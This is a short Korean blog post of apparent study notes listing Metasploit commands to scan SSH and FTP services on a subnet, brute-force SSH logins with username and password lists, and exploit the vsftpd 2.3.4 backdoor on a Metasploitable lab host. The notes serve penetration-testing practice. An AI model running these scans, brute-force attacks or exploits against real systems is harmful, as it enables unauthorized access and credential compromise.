본문 바로가기
8. 정보보안 노트 정리

MSF 타겟 스캐닝 모듈 정리[ssh,ftp]

by Robert8478 2023. 12. 27.

[SSH - Secure Shell]
(스캐닝)
use scanner/ssh/ssh_version - ssh_version 모듈 사용
show options
set rhosts 192.168.0.0/24
set threads 50
run

(익스플로잇)
use auxiliary/scanner/ssh/ssh_login - ssh_login 무차별대입공격 모듈
show options
set rhosts [ssh 취약 아이피]
set PASS_FILE [pass.txt 경로]
set USER_FILE [username.txt 경로]
set BRUTEFORCE_SPEED 5
set STOP_ON_SUCCESS true
set threads 50


[FTP - File Transfer Protocol]
(스캐닝)
use scanner/ftp/ftp_version
show options
set rhosts 192.168.0.0/24
set threads 50
run

(익스플로잇 )
use exploit/unix/ftp/vsftpd_234_backdoor - vsFTPd(VerySecuredFTP) 2.3.4 버전의 취약점을 이용한 모듈

[Metasploitable linux에 설치]
show options
set rhost [취약한 아이피]
run